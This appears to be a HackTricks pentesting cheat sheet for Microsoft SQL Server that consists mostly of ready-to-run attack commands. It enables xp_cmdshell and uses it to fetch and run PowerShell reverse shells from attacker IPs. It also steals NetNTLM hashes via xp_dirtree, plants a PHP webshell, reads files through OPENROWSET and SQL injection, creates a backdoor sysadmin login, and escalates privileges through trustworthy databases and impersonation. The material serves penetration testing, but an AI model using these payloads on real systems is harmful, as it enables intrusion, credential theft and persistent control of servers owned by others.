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1433 - Pentesting MSSQL - Microsoft SQL Server

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Basic Information

Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet). From wikipedia.
Default port: 1433
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM

Default MS-SQL System Tables

  • master Database: Records all the system-level information for an instance of SQL Server.
  • msdb Database: Is used by SQL Server Agent for scheduling alerts and jobs.
  • model Database: Is used as the template for all databases created on the instance of SQL Server. Modifications made to the model database, such as database size, collation, recovery model, and other database options, are applied to any databases created afterwards.
  • Resource Databas: Is a read-only database that contains system objects that are included with SQL Server. System objects are physically persisted in the Resource database, but they logically appear in the sys schema of every database.
  • tempdb Database : Is a work-space for holding temporary objects or intermediate result sets.

Enumeration

Automatic Enumeration

If you don't know nothing about the service:
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping
If you don't have credentials you can try to guess them. You can use nmap or metasploit. Be careful, you can block accounts if you fail login several times using an existing username.

Metasploit (need creds)

#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder
#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump
#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf
#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin
#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass

Manual Enumeration

Login

# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go

Common Enumeration

# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master
#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = '[email protected]!'
sp_addsrvrolemember 'hacker', 'sysadmin'

Get User

# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;
## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers

Get Permissions

Some introduction about some MSSQL terms:
  1. 1.
    Securable: These are the resources to which the SQL Server Database Engine authorization system controls access. There are three broader categories under which a securable can be differentiated:
    • Server – For example databases, logins, endpoints, availability groups and server roles
    • Database – For example database role, application roles, schema, certificate, full text catalog, user
    • Schema – For example table, view, procedure, function, synonym
  2. 2.
    Permission: Every SQL Server securable has associated permissions like ALTER, CONTROL, CREATE that can be granted to a principal. Permissions are managed at the server level using logins and at the database level using users.
  3. 3.
    Principal: The entity that receives permission to a securable is called a principal. The most common principals are logins and database users. Access to a securable is controlled by granting or denying permissions or by adding logins and users to roles which have access.
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'

Tricks

Execute OS Commands

Note that in order to be able to execute commands it's not only necessary to have xp_cmdshell enabled, but also have the EXECUTE permission on the xp_cmdshell stored procedure. You can get who (except sysadmins) can use xp_cmdshell with:
Use master
EXEC sp_helprotect 'xp_cmdshell'
# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'
# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';
# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE
#One liner
sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;
# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'
# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —

Steal NetNTLM hash / Relay attack

You should start a SMB server to capture the hash used in the authentication (impacket-smbserver or responder for example).
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'
# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
You can check if who (apart sysadmins) has permissions to run those MSSQL functions with:
Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';
Using tools such as responder or Inveigh it's possible to steal the NetNTLM hash. You can see how to use these tools in:
Read this post to find more information about how to abuse this feature:

Write Files

To write files using MSSQL, we need to enable Ole Automation Procedures, which requires admin privileges, and then execute some stored procedures to create the file:
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE
sp_configure 'Ole Automation Procedures', 1
RECONFIGURE
# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

Read file with OPENROWSET

By default, MSSQL allows file read on any file in the operating system to which the account has read access. We can use the following SQL query:
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
However, the BULK option requires the ADMINISTER BULK OPERATIONS or the ADMINISTER DATABASE BULK OPERATIONS permission.
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';

Error-based vector for SQLi:

https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--

RCE/Read files executing scripts (Python and R)

MSSQL could allow you to execute scripts in Python and/or R. These code will be executed by a different user than the one using xp_cmdshell to execute commands.
Example trying to execute a 'R' "Hellow World!" not working:
Example using configured python to perform several actions:
# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

Read Registry

Microsoft SQL Server provides multiple extended stored procedures that allow you to interact with not only the network but also the file system and even the Windows Registry:
Regular
Instance-Aware
sys.xp_regread
sys.xp_instance_regread
sys.xp_regenumvalues
sys.xp_instance_regenumvalues
sys.xp_regenumkeys
sys.xp_instance_regenumkeys
sys.xp_regwrite
sys.xp_instance_regwrite
sys.xp_regdeletevalue
sys.xp_instance_regdeletevalue
sys.xp_regdeletekey
sys.xp_instance_regdeletekey
sys.xp_regaddmultistring
sys.xp_instance_regaddmultistring
sys.xp_regremovemultistring
sys.xp_instance_regremovemultistring
# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
For more examples check out the original source.

RCE with MSSQL User Defined Function - SQLHttp

It's possible to load a .NET dll within MSSQL with custom functions. This, however, requires dbo access so you need a connection with database as sa or an Administrator role.
Following this link to see an example.

Other ways for RCE

There are other methods to get command execution, such as adding extended stored procedures, CLR Assemblies, SQL Server Agent Jobs, and external scripts.
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MSSQL Privilege Escalation

From db_owner to sysadmin

If a regular user is given the role db_owner over the database owned by an admin user (such as sa) and that database is configured as trustworthy, that user can abuse these privileges to privesc because stored procedures created in there that can execute as the owner (admin).
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;
# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'
--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me
--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')
You can use a metasploit module:
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
Or a PS script:
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184

Impersonation of other users

SQL Server has a special permission, named IMPERSONATE, that allows the executing user to take on the permissions of another user or login until the context is reset or the session ends.
# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned
# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
If you can impersonate a user, even if he isn't sysadmin, you should check if the user has access to other databases or linked servers.
Note that once you are sysadmin you can impersonate any other one:
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT
You can perform this attack with a metasploit module:
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
or with a PS script:
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!

Using MSSQL for Persistence

Local Privilege Escalation

The user running MSSQL server will have enabled the privilege token SeImpersonatePrivilege. You probably will be able to escalate to Administrator following one of these 2 paged:

Shodan

  • port:1433 !HTTP

References

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HackTricks Automatic Commands

Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
Port_Number: 1433 #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).
#sqsh -S 10.10.10.59 -U sa -P GWE3V65#[email protected]
###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go
2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go
3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}
Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'
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